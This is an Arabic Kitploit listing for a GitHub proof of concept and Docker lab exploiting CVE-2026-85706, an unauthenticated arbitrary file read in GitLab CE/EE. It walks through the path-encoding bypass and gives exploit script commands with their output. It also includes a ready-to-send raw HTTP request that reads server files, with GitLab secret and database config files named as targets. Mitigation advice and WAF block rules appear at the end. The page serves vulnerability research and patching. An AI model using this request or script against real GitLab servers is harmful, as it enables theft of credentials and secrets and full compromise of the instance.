Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-85706 — PoC ومختبر Docker لـ CVE-2026-85706، وهو قراءة ملفات عشوائية بدون مصادقة في GitLab CE/EE عبر تجاوز مسار commits API وقناة الخطأ المُرمَّزة بـ urlencoded. | Kitploit
أدوات/GitHubGitHub/eqstlab/cve-2026-85706
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبتسريب البياناتجمع المعلوماتأمن الويباختبار الاختراقمختبرات وتدريب عملي
GitHubeqstlab/cve-2026-85706

CVE-2026-85706

PoC ومختبر Docker لـ CVE-2026-85706، وهو قراءة ملفات عشوائية بدون مصادقة في GitLab CE/EE عبر تجاوز مسار commits API وقناة الخطأ المُرمَّزة بـ urlencoded.

2341منذ 2 أياملم تتم المراجعة بعد
عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-85706 قراءة ملفات عشوائية بدون مصادقة في GitLab

★ CVE-2026-85706 إثبات مفهوم لقراءة ملفات عشوائية بدون مصادقة في GitLab ★

https://github.com/user-attachments/assets/026749ec-04e9-4dd5-9453-cb7c1f6e823d


نظرة عامة

CVE-2026-85706 هي ثغرة قراءة ملفات عشوائية بدون مصادقة في GitLab CE/EE (CVSS 10.0، CISA KEV) عبر POST /api/v4/projects/:id/repository/commits، حيث يعمل مساعد رفع المحتوى قبل authenticate! ويقرأ params['file.path'] كمسار مطلق دون أي تقييد. ترميز حرف واحد من commits بصيغة URL → %63ommits يجعل GitLab-Workhorse يفوّت المسار (فلا يستبدل file.path أبدًا)، بينما لا يزال Rails يفكّ ترميز %63 → c ويوجّه الطلب إلى المعالج — مما يسمح للمهاجم بتعيين file.path عبر سلسلة الاستعلام. مع Content-Type=application/x-www-form-urlencoded، يعيد المساعد تحليل محتوى الملف، وعلامة % غير متبوعة بخانتين سادس عشريتين تعكس ذلك المحتوى في جسم استجابة 400 (الملفات التي لا تحتوي على ذلك تعطي فقط أوراكل قراءة 401). يتطلب وجود مشروع عام واحد على الأقل.


الإصدارات المتأثرة

الفئةالإصدار
المتأثرةGitLab CE/EE 18.7 – 19.1.7, 19.2.0 – 19.2.5, 19.3.0 – 19.3.1
المُرقّعة19.1.8 / 19.2.6 / 19.3.2 أو أحدث (2026-09-10)

التأثير

  • قراءة ملفات عشوائية بدون مصادقة لأي ملف يمكن لعملية خدمة GitLab قراءته
  • كشف الملفات التي يحتوي محتواها على % غير صالح (سجلات التطبيق، والإعدادات/بيانات الاعتماد التي تتضمن قيمًا مُرمّزة بصيغة URL) → استطلاع + سرقة بيانات الاعتماد → التسلسل إلى وصول مُصادَق عليه / اختراق كامل للنسخة
  • تصل قدرة القراءة إلى ملفات عالية القيمة (gitlab-secrets.json، database.yml)؛ لاحظ أن الملفات السادس عشرية/Base64 البحتة تُرجع فقط أوراكل وجود عبر قناة انعكاس % العامة (لا يوجد بايت % غير صالح لتفعيل الصدى)
  • يضيف الإصلاح authenticate! قبل مساعد رفع المحتوى، بحيث يُرفض الطلب غير المُصادَق عليه قبل نقطة قراءة الملف

البيئة

قم ببناء وتشغيل GitLab CE المتأثر. عند الإقلاع، يزرع المُهيّئ /flag.txt (مع مُشغّل تسريب % في النهاية) وينشئ مشروعًا عامًا victim/public-app (معرّف المشروع 1) بحيث يكون API الخاص بالـ commits قابلًا للوصول بدون مصادقة. يستغرق الإقلاع الأول ~2–3 دقائق.

docker build -t cve-2026-85706 .
docker run -d --name cve-2026-85706 --shm-size 256m -p 8088:80 cve-2026-85706

# wait until the seeder reports it is ready
docker exec cve-2026-85706 tail -n 20 /var/log/seed.log   # look for: [seed] SEED_DONE ...

الـ flag هو عنصر نائب (EQST{gitlab_cve_2026_85706_arbitrary_file_read}). عيّن الـ flag الخاص بك في وقت التشغيل دون تعديل الصورة: docker run -e FLAG='YOUR_FLAG' ... cve-2026-85706.

الشرط المسبقالحالة في هذا المختبر
GitLab 18.7 – 19.1.719.1.7-ce.0
مشروع عام واحد على الأقل (يصل المستخدم المجهول إلى API الخاص بالـ commits)victim/public-app (id 1)، يُنشأ تلقائيًا
/api/v4/projects/:id/repository/commits قابل للوصول بدون مصادقةمكشوف
الـ flag على نظام ملفات الخادم/flag.txt (مُشغّل انعكاس % في النهاية)

إثبات المفهوم

يقرأ الاستغلال gitlab_exploit.py ملفًا من الخادم بطلب واحد بدون مصادقة، باستخدام تجاوز مسار Workhorse عبر %63ommits وقناة خطأ إعادة التحليل بصيغة urlencoded. اختر الملف باستخدام --read (الافتراضي /flag.txt).

# default: read /flag.txt and print the flag
python3 gitlab_exploit.py 172.17.0.2

# read any absolute path (content disclosed only if it contains an invalid '%')
python3 gitlab_exploit.py 172.17.0.2 --read /etc/passwd

# just confirm the sink is reachable
python3 gitlab_exploit.py 172.17.0.2 --check
[*] target   http://172.17.0.2
[*] endpoint /api/v4/projects/1/repository/%63ommits
[*] file.path /flag.txt
[+] arbitrary file read OK -> content of /flag.txt:
    EQST{gitlab_cve_2026_85706_arbitrary_file_read}%
[+] FLAG: EQST{gitlab_cve_2026_85706_arbitrary_file_read}

الخيارات:

  • --read "<abs path>" — المسار المطلق للملف المراد قراءته (الافتراضي /flag.txt)
  • --project <id> — معرّف المشروع العام القابل للوصول بدون مصادقة (الافتراضي 1)
  • --check — فقط تأكيد أن نقطة قراءة الملف قابلة للوصول (يتوقع local file not present)

الطلب الخام (لـ Burp Repeater):

POST /api/v4/projects/1/repository/%63ommits?file=&file.path=/flag.txt&file.size=1&Content-Type=application/x-www-form-urlencoded HTTP/1.1
Host: 172.17.0.2
Content-Length: 0
Connection: close


التخفيف

  • قم بترقية GitLab إلى 19.1.8 / 19.2.6 / 19.3.2 أو أحدث
  • إذا لم تتمكن من الترقية فورًا، احظر POST/PUT إلى */repository/commits* و */repository/files* على مستوى الوكيل/WAF، وضع النسخة خلف SSO / VPN / قائمة IP المسموح بها
  • بعد الترقيع: افترض أن أي ملف يمكن لعملية خدمة GitLab قراءته (السجلات، الإعدادات، الأسرار) قد تم كشفه إذا كانت نقطة النهاية قابلة للوصول من الإنترنت — أبطِل الجلسات وقم بتدوير بيانات الاعتماد / الأسرار المكشوفة

التحليل

  • KR:
  • EN:
تنزيل الأداة